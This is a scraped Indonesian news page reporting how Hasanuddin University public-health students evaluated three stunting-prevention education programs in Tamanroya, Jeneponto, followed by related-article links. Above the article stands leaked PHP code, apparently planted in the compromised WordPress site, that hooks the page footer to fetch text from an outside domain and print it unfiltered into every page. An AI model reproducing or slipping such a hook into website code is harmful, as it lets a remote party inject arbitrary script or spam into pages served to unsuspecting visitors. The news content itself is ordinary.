function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');Menilai Efektivitas Edukasi Stunting: Posko 31 FKM Evaluasi Program CEKATAN, KATA MIMI, dan IBU SIAGA di Kelurahan Tamanroya, Kabupaten Jeneponto - Suluh Nusantara

Home / Uncategorized

Jumat, 27 Juni 2025 - 00:09 WIB

Menilai Efektivitas Edukasi Stunting: Posko 31 FKM Evaluasi Program CEKATAN, KATA MIMI, dan IBU SIAGA di Kelurahan Tamanroya, Kabupaten Jeneponto

Mahasiswa Praktik Belajar Lapangan (PBL) III Posko 31 Fakultas Kesehatan Masyarakat Universitas Hasanuddin telah melaksanakan kegiatan evaluasi terhadap tiga program intervensi pencegahan stunting di Kelurahan Tamanroya, Kecamatan Tamalatea, Kabupaten Jeneponto. Kegiatan ini merupakan tindak lanjut dari intervensi yang telah dilaksanakan pada masa PBL II.  Evaluasi dilaksanakan pada hari Kamis 26 Juni sampai Jumat 27 Juni Tahun 2025.

Evaluasi program intervensi CEKATAN, KATA MIMI, dan IBU SIAGA bertujuan untuk mengetahui sejauh mana pemahaman masyarakat sasaran terhadap materi yang telah disampaikan serta menilai kebermanfaatan media edukasi yang digunakan, sehingga dapat berkontribusi pada pencapaian Sustainable Development Goals (SDGs) poin ke-2, yaitu mengakhiri kelaparan dan mencapai ketahanan pangan dan gizi yang baik, dengan meningkatkan kesehatan dan gizi ibu hamil, ibu baduta, dan bayi.

Baca Juga  Mahasiswa Posko 17 PBL II FKM Unhas Gelar Edukasi Stunting dan Demo Masak Berbasis Kelor untuk Ibu Hamil di Benteng, Jeneponto

Selama proses evaluasi, masyarakat menunjukkan antusiasme dan keterbukaan dalam memberikan tanggapan. Beberapa peserta mengaku mendapatkan pengetahuan baru yang bermanfaat dan berkomitmen untuk menerapkan informasi yang diperoleh dalam kehidupan sehari-hari. Dalam evaluasi program IBU SIAGA, beberapa responden masih menyimpan dan membaca buku panduan perawatan BBLR (Berat Badan Lahir Rendah) yang dibagikan saat intervensi sebelumnya, meskipun sebagian buku telah hilang atau rusak karena faktor penyimpanan. Hal serupa juga ditemukan pada program KATA MIMI, di mana sebagian remaja putri dan ibu hamil masih menyimpan buku pemantauan konsumsi Tablet Tambah Darah (TTD), meskipun ada pula yang kehilangan buku tersebut atau tidak lagi mencatat secara rutin.

Baca Juga  Profesor dari Universitas Okayama, Jepang Berkunjung ke Fakultas Kesehatan Masyarakat Universitas Hasanuddin Bahas Kerja Sama Pendidikan dan Riset

Hasil evaluasi terhadap program upaya peningkatan gizi, kesehatan ibu dan anak, serta pemberdayaan kelompok rentan, termasuk perempuan dan remaja putri diharapkan menjadi landasan untuk perbaikan program ke depan agar lebih tepat sasaran, berkelanjutan, dan mampu mendukung pencapaian SDGs di tingkat lokal.

Share :

Baca Juga

Uncategorized

**Peringati World Sight Day, Mahasiswa Magang Promosi Kesehatan Universitas Hasanuddin dan RS Mata Kemenkes Makassar Gelar Penyuluhan Pentingnya Kesehatan Mata pada Anak**

Uncategorized

Tingkatkan Kesehatan Ibu dan Bayi, Posko 14 PBL 2 FKM Unhas Gelar Edukasi Pentingnya Imunisasi Ibu Hamil di Desa Tombo-Tombolo

Uncategorized

Wisuda Santri Putri Angkatan 2 dan Penerimaan Santri Putri Angkatan 3 Yayasan Kesehatan Masyarakat Sahabat Dhuafa

Uncategorized

Posko 22 PBL II FKM Unhas: Sukses Laksanakan Penyuluhan Pencegahan Stunting dan Pemasangan Spanduk Informasi di Desa Marayoka

Uncategorized

Tani Sehat: Peningkatan Kesehatan Kerja Petani Jagung Melalui Pencegahan & Penanganan Nyeri punggung Di Desa Balang Baru

Uncategorized

Acara Puncak Dies Natalis ke-43 FKM Unhas: Satu Keluarga, Satu Tujuan : FKM Unhas Maju

Uncategorized

Seminar Awal Mahasiswa PBL I FKM Unhas di Desa Barang, Liliriaja, Kabupaten Soppeng: Langkah Awal Menuju Peningkatan Kesehatan Masyarakat Desa

Uncategorized

Mahasiswa FKM Unhas dan Warga Manjangloe Bersinergi Pasang Papan Wicara Larangan Merokok